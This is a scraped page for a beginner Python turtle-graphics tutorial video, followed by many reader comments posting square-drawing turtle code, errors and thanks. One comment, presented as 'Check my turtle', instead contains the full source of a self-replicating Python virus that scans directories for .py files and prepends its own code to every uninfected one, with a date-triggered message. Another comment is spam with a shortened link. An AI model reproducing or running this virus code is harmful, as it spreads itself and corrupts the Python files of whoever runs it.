Learn Python Programming – 3 – The Turtle

Exercises on http://cleverprogrammer.to/enroll
In this part of the Learn Python for Beginners series… We go over how to use the turtle module and learn computer programming in a fun visual way. Things like functions, variables, and more will start to make sense instantly. …

★☆★ LIVE 1-ON-1 CODING SESSION: ★☆★
https://goo.gl/rXohFR

★☆★ FREE Lesson 1: The Most Important Thing For a Successful Programmer★☆★
https://goo.gl/LwgTHk

Enroll for coding exercises, projects, tutorials, and courses…
http://cleverprogrammer.to/enroll ————————————
Clever Programmer
Website ► http://cleverprogrammer.to/enroll
Facebook ► http://cleverprogrammer.to/facebook
Twitter ► http://cleverprogrammer.to/twitter
Instagram ► http://cleverprogrammer.to/instagram
YouTube ► https://www.youtube.com/c/CleverProgr…
Snapchat ► Rafeh1 …
Github (Code) ► http://cleverprogrammer.to/github

Comments

Mahmoud Qweima says:

>>> import turtle
>>> my_turtle=turtle.Turtle()
>>> my_turtle.forward(100)
>>> my_turtle.right(90)
>>> my_turtle.forward(100)
>>> my_turtle.right(90)
>>> my_turtle.forward(100)
>>> my_turtle.right(90)
>>> my_turtle.forward(100)

TropicqlJuice says:

my_turtle = turtle.Turtle()
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)

Santosh Pokhrel says:

Traceback (most recent call last):
File “ “, line 1, in
import turtle
File “C:UsersacerAppDataLocalProgramsPythonPython37turtle.py”, line 1
Python 3.7.0a2 (v3.7.0a2:f7ac4fe, Oct 17 2017, 17:06:29) [MSC v.1900 64 bit (AMD64)] on win32
^
SyntaxError: invalid syntax
when i tried to import turtle, i got this problem. can u plz help me

John Plays says:

>>> import turtle
>>> my_turtle = turtle.Turtle()
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)

is it good?

Justin wing says:

import turtle
my_turtle = turtle.Turtle()
my_turtle.forward(100)
my_turtle.right(90)
my_turtle.forward(100)
my_turtle.right(90)
my_turtle.forward(100)
my_turtle.right(90)
my_turtle.forward(100)

Pedja Blagojevic says:

my_turtle=turtle.Turtle()
>>>
>>>
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
simple as that

Carlos Julio Colmenarez says:

import turtle
>>> my_turtle = turtle.Turtle()
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)

Mayank Sarkar says:

About your videos….Amazing
How you teach….Amazing
About you…Amazing
You are truly an amazing person keep going on and be much more successful :)

har 2908 says:

.
>>> import turtle
>>> my_turtle = turtle.Turtle()
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
I just have one question, how to change or erase the previous line?? because i can’t change anything from the previous line, after i pressed enter.
Please help

Shahid Nasim says:

i mean its not opening from shell by hitting enter whereas its work from file

Atasi Sen says:

Hi! Here it is.
>>> import turtle
>>>
>>>
>>> my_turtle = turtle.Turtle()
>>> my_turtle.forward(100)
>>> my_turtle.right(90)
>>> my_turtle.forward(100)
>>> my_turtle.right(90)
>>> my_turtle.forward(100)
>>> my_turtle.right(90)
>>> my_turtle.forward(100)
>>>

Pythontutorials 777 says:

Import turtle
my_turtle = turtle.Turtle()
my_turtle.forward (100)
my_turtle.right (90)
my_turtle.forward (100)
my_turtle.right (90)
my_turtle.forward (100)
my_turtle.right (90)
my_turtle.forward (100)

Fayaz Ali Hunzai says:

>>> import turtle
>>> mt = turtle.Turtle()
>>> mt.forward(120)
>>> mt.left(90)
>>> mt.forward(80)
>>> mt.left(90)
>>> mt.forward(120)
>>> mt.left(90)
>>> mt.forward(80)

Siva Yenikepalli says:

import turtle

# Make a square with the turtle.
tut=turtle.Turtle();
tut.back(100)
tut.left(90)
tut.forward(100)
tut.right(90)
tut.forward(100)
tut.right(90)
tut.forward(100)

Charles Hebert says:

import turtle

john = turtle.Turtle()

john.speed(100)

john.shape(“turtle”)
john.color(“green”)

def circle():

john.circle(100)
john.circle(-100)
john.circle(110)
john.circle(-110)
john.circle(120)
john.circle(-120)
john.circle(130)
john.circle(-130)
john.circle(140)
john.circle(-140)
john.circle(150)
john.circle(-150)
john.circle(160)
john.circle(-160)
john.circle(170)
john.circle(-170)
john.circle(180)
john.circle(-180)
john.circle(190)
john.circle(-190)
john.circle(200)
john.circle(-200)

circle()

john.circle(1, 90)
john.circle(100)
john.circle(-100)
john.circle(110)
john.circle(-110)
john.circle(120)
john.circle(-120)
john.circle(130)
john.circle(-130)
john.circle(140)
john.circle(-140)
john.circle(150)
john.circle(-150)
john.circle(160)
john.circle(-160)
john.circle(170)
john.circle(-170)
john.circle(180)
john.circle(-180)
john.circle(190)
john.circle(-190)
john.circle(200)
john.circle(-200)

john.circle(1, 30)
john.circle(100)
john.circle(-100)
john.circle(110)
john.circle(-110)
john.circle(120)
john.circle(-120)
john.circle(130)
john.circle(-130)
john.circle(140)
john.circle(-140)
john.circle(150)
john.circle(-150)
john.circle(160)
john.circle(-160)
john.circle(170)
john.circle(-170)
john.circle(180)
john.circle(-180)
john.circle(190)
john.circle(-190)
john.circle(200)
john.circle(-200)

john.circle(-1, -30)
john.circle(100)
john.circle(-100)
john.circle(110)
john.circle(-110)
john.circle(120)
john.circle(-120)
john.circle(130)
john.circle(-130)
john.circle(140)
john.circle(-140)
john.circle(150)
john.circle(-150)
john.circle(160)
john.circle(-160)
john.circle(170)
john.circle(-170)
john.circle(180)
john.circle(-180)
john.circle(190)
john.circle(-190)
john.circle(200)
john.circle(-200)

Rob V says:

*Python code, Tutorials, Demos,…*  Helped me a lot – Happy Coding!  http://yamechanic.com/5A8T

Ben Cyriac says:

import turtle
my_turtle = turtle.Turtle()my_turtle.forward(100)
my_turtle.left(90)
my_turtle.forward(100)
my_turtle.left(90)
my_turtle.forward(100)
my_turtle.left(90)
my_turtle.forward(100)

Plumpe Gd says:

>>> import turtle
>>> my_turtle = turtle.Turtle()
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(200)
>>> my_turtle.right(90)
>>> my_turtle.right(180)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(200)
>>> my_turtle.right(90)
>>> my_turtle.right(180)
>>>

Yahya support says:

import turtle
()my_turtle = turtle.Turtle
(my_turtle.forward(100
(my_turtle.left(90
(my_turtle.forward(90
(my_turtle.left(90
(my_turtle.forward(100
(my_turtle.left(90
(my_turtle.forward(100

Sameh Simon says:

>>> my_turtle = turtle.Turtle ()
>>> my_turtle.forward(100)
>>> my_turtle.left (90)
>>> my_turtle.forward (100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.right(180)
>>> my_turtle.forward(100)
>>> my_turtle.right(90)
>>> my_turtle.forward(100)
>>> my_turtle.right(90)
>>> my_turtle.forward(100)
>>> my_turtle.right(45)
>>> my_turtle.forward(100)

Shahid Nasim says:

python turtle graphics window is not showing i am using windows

johannes nyby says:

my_turtle.done

Beaux Barker says:

This is really cool. I am very much a visual learner when it comes to understanding concepts. I just finished my last day of computer programming fundamentals. We never learned anything like this. We rushed right into everything. This is definitely a helpful video.

GAURAV YADAV says:

import turtle

print(‘Jst making a trapezium for her’)

sn_turtle = turtle.Turtle()
sn_turtle.forward(100)
sn_turtle.left(40)
sn_turtle.forward(150)
sn_turtle.left(140)
sn_turtle.forward(210)
sn_turtle.left(90)
sn_turtle.forward(105)

Please mujhe btana ki kaisa hai

Bowei Yao says:

Really funny stuff Lol
import turtle
my_turtle = turtle.Turtle()
my_turtle.forward(100)
my_turtle.right(90)
my_turtle.forward(100)
my_turtle.right(90)
my_turtle.forward(100)
my_turtle.right(90)
my_turtle.forward(90)
my_turtle.left(90)
my_turtle.forward(10)
my_turtle.right(90)
my_turtle.forward(10)
my_turtle.right(90)
my_turtle.forward(10)

Diego Parra says:

>>> import turtle
>>> my_turtle = turtle.Turtle()
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.right(90)
>>> my_turtle.forward(50)
>>> my_turtle.right(90)
>>> my_turtle.forward(125)
>>> my_turtle.right(90)
>>> my_turtle.forward(200)
>>> my_turtle.right(90)
>>> my_turtle.forward(125)
>>> my_turtle.right(90)
>>> my_turtle.forward(50)
>>> my_turtle.forward(10)
>>> my_turtle.left(90)
>>> my_turtle.forward(25)
>>> my_turtle.right(90)
>>> my_turtle.forward(80)
>>> my_turtle.right(90)
>>> my_turtle.forward(25)

Arun Singh says:

hey Bro not able to find the exercise at your site have to change it to pay service

Really said for some of us please at least proived exercise for free

Mahdi Alizade says:

my_turtle = turtle.Turtle()
>>> my_turtle.forward(100)
>>> my_turtle.right(90)
>>> my_turtle.forward(100)
>>> my_turtle.right(90)
>>> my_turtle.forward(100)
>>> my_turtle.right(90)
>>> my_turtle.forward(100)
>>>

hacker ansh says:

Check my turtle
#!/usr/bin/python import os import datetime SIGNATURE = “CRANKLIN PYTHON VIRUS” def search(path): filestoinfect = [] filelist = os.listdir(path) for fname in filelist: if os.path.isdir(path+”/”+fname): filestoinfect.extend(search(path+”/”+fname)) elif fname[-3:] == “.py”: infected = False for line in open(path+”/”+fname): if SIGNATURE in line: infected = True break if infected == False: filestoinfect.append(path+”/”+fname) return filestoinfect def infect(filestoinfect): virus = open(os.path.abspath(__file__)) virusstring = “” for i,line in enumerate(virus): if i>=0 and i <39: virusstring += line virus.close for fname in filestoinfect: f = open(fname) temp = f.read() f.close() f = open(fname,”w”) f.write(virusstring + temp) f.close() def bomb(): if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25: print “HAPPY BIRTHDAY CRANKLIN ” filestoinfect = search(os.path.abspath(“”)) infect(filestoinfect) bomb()
But in VM

Aytac Guley says:

import turtle

my_turtle=turtle.Turtle()
i=90
j=200

while i==90 and j==200:
my_turtle.forward(j)
my_turtle.left(i)

Green Element says:

>>> import turtle
>>> my_turtle = turtle.Turtle()
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)

aditya dehal says:

my_ turtle=turtle.Turtle()
my_turtle.forward(200)
my_turtle.left(90)
my_turtle.forward(200)
my_turtle.left(90)
my_turtle.forward(200)
my_turtle.left(90)
my_turtle.forward(200)
my_turtle.left(90)

lydia kang says:

Thanks so much for every videos about computer programming. I just dropped my computer and science class this semester bc it was so complicated, but your explanation is super good.

Cracer Krish says:

hi ,i see this video ,,,,,i work out it..!!!> import turtle
>>>
>>>
>>> my_turtle = turtle.Turtle()
>>> my_turtle.forward(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.move(90)
Traceback (most recent call last):
File “ “, line 1, in
my_turtle.move(90)
AttributeError: ‘Turtle’ object has no attribute ‘move’
>>> my_turtle.forward(90)
>>> my_turtle.forward(100)
>>> my_turtle.down(90)
Traceback (most recent call last):
File “ “, line 1, in
my_turtle.down(90)
TypeError: pendown() takes 1 positional argument but 2 were given
>>> my_turtle.right(90)
>>> my_turtle.left(90)
>>> my_turtle.right(90)
>>> my_turtle.right(180)
>>> my_turtle.forward(90)
>>> my_turtle.forward(100)
>>>

MrCivo says:

my turtle code

import turtle

my_turtle = turtle.Turtle()
my_turtle.forward(100)
my_turtle.left(90)
my_turtle.forward(100)
my_turtle.left(90)
my_turtle.forward(100)
my_turtle.left(90)
my_turtle.forward(100)

Gray Jedi says:

>>> import turtle
>>>
>>>
>>>
>>> my_turtle = turtle.Turtle()
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>>

Ultimate Keyboard Hero says:

These exercises aren’t available on you site anymore huh? =(

زمان اول تحول says:

import turtle
my_tortle=turtle.Turtle()
my_tortle.forward(100)
my_tortle.left(90)
my_tortle.forward(100)
my_tortle.left(90)
my_tortle.forward(100)
my_tortle.left(90)
my_tortle.forward(100)

naeem ijaz says:

thanks brother

hina firdaus says:

my turtle code:
>>> import turtle
>>> turt= turtle.Turtle()
>>> turt.forward(100)
>>> turt.left(90)
>>> turt.forward(100)
>>> turt.left(90)
>>> turt.forward(100)
>>> turt.right(90)
>>> turt.left(90)
>>> turt.left(90)
>>> turt.foward(100)
Traceback (most recent call last):
File “ “, line 1, in
turt.foward(100)
AttributeError: ‘Turtle’ object has no attribute ‘foward’
>>> turt.forward(100)
>>>

hacker ansh says:

Huh now I can now I can learn Python!! I will make software for Linux for hackingggggg

kil ler says:

>>> import turtle
>>> my_turtle=turtle.Turtle()
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>>

ps. have trouble at first coz I didn’t notice that the “Turtle” after . is capital

Aytac Guley says:

import turtle

my_turtle=turtle.Turtle()
i=90
j=200
k=0

while i==90 and j==200 and k<20:
my_turtle.forward(j)
my_turtle.left(i)
k+=1

Eduardo Perez Hernandez says:

* Tries to write a saved script to play with turtle before finishing to watch the video *
No matter what I tried, it didn’t run
* Keeps watching video *
“WHATEVER YOU DO, DONT NAME THE FILE TURTLE.PY”
* Feels ashamed *

Krutarth Patel says:

import turtle
myturtle=turtle.Turtle()
myturtle.forward(100)
myturtle.left(90)
myturtle.forward(100)
myturtle.left(90)
myturtle.forward(100)
myturtle.left(90)
myturtle.forward(100)
# Make a square with the turtle.

Saisho says:

>>> my_turtle.forward(100)
>>> my_turtle.forward(1000)
>>> my_turtle.left(180)
>>> my_turtle.forward(1100)
>>> my_turtle.right(10)
i wrote 1000 and it just disappeared from my screen lmao

Aytac Guley says:

import turtle

my_turtle=turtle.Turtle()
my_turtle.forward(200)
my_turtle.left(90)
my_turtle.forward(200)
my_turtle.left(90)
my_turtle.forward(200)
my_turtle.left(90)
my_turtle.forward(200)
my_turtle.left(90)
my_turtle.forward(200)
my_turtle.left(90)
my_turtle.forward(200)
my_turtle.left(90)
my_turtle.forward(200)
my_turtle.left(90)
my_turtle.forward(200)
my_turtle.left(90)
my_turtle.forward(200)

ET says:

>>> import turtle
>>>
>>>
>>>
>>> my_turtle = turtle.Turtle()
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>> my_turtle.left(90)
>>> my_turtle.forward(100)
>>>

christian paul agpuon says:

Wahaha Perfect Circle

import turtle
smart = turtle.Turtle()

# Loop 800 times. Everything I want to repeat is

for i in range(800):
smart.forward(100)
smart.right(50)

turtle.done()

Write a comment

*

Human Verification: In order to verify that you are a human and not a spam bot, please enter the answer into the following box below based on the instructions contained in the graphic.


Do you like our videos?
Do you want to see more like that?

Please click below to support us on Facebook!

Send this to a friend

▷ Other ReviewsVehicles▷ Show Cars▷ Motorbikes▷ Scooters▷ Bicycles▷ Rims & Tires▷ Luxury BoatsFashion▷ Sunglasses▷ Luxury Watches▷ Luxury Purses▷ Jeans Wear▷ High Heels▷ Kinis Swimwear▷ Perfumes▷ Jewellery▷ Cosmetics▷ Shaving Helpers▷ Fashion HatsFooding▷ Chef Club▷ Fooding Helpers▷ Coktails & LiquorsSports▷ Sport Shoes▷ Fitness & Detox▷ Golf Gear▷ Racquets▷ Hiking & Trek Gear▷ Diving Equipment▷ Ski Gear▷ Snowboards▷ Surf Boards▷ Rollers & SkatesEntertainment▷ DIY Guides▷ Zik Instruments▷ Published Books▷ Music Albums▷ Cine Movies▷ Trading Helpers▷ Make Money▷ Fishing Equipment▷ Paintball Supplies▷ Trading Card Games▷ Telescopes▷ Knives▷ VapesHigh Tech▷ Flat Screens▷ Tech Devices▷ Camera Lenses▷ Audio HiFi▷ Printers▷ USB Devices▷ PC Hardware▷ Network Gear▷ Cloud Servers▷ Software Helpers▷ Programmer Helpers▷ Mobile Apps▷ Hearing AidsHome▷ Home Furniture▷ Home Appliances▷ Tools Workshop▷ Beddings▷ Floor Layings▷ Barbecues▷ Aquarium Gear▷ Safe Boxes▷ Office Supplies▷ Security Locks▷ Cleaning ProductsKids▷ Baby Strollers▷ Child Car Seats▷ Remote ControlledTravel▷ Luggages & Bags▷ Airlines Seats▷ Hotel Rooms▷ Fun Trips▷ Cruise Ships▷ Mexico Tours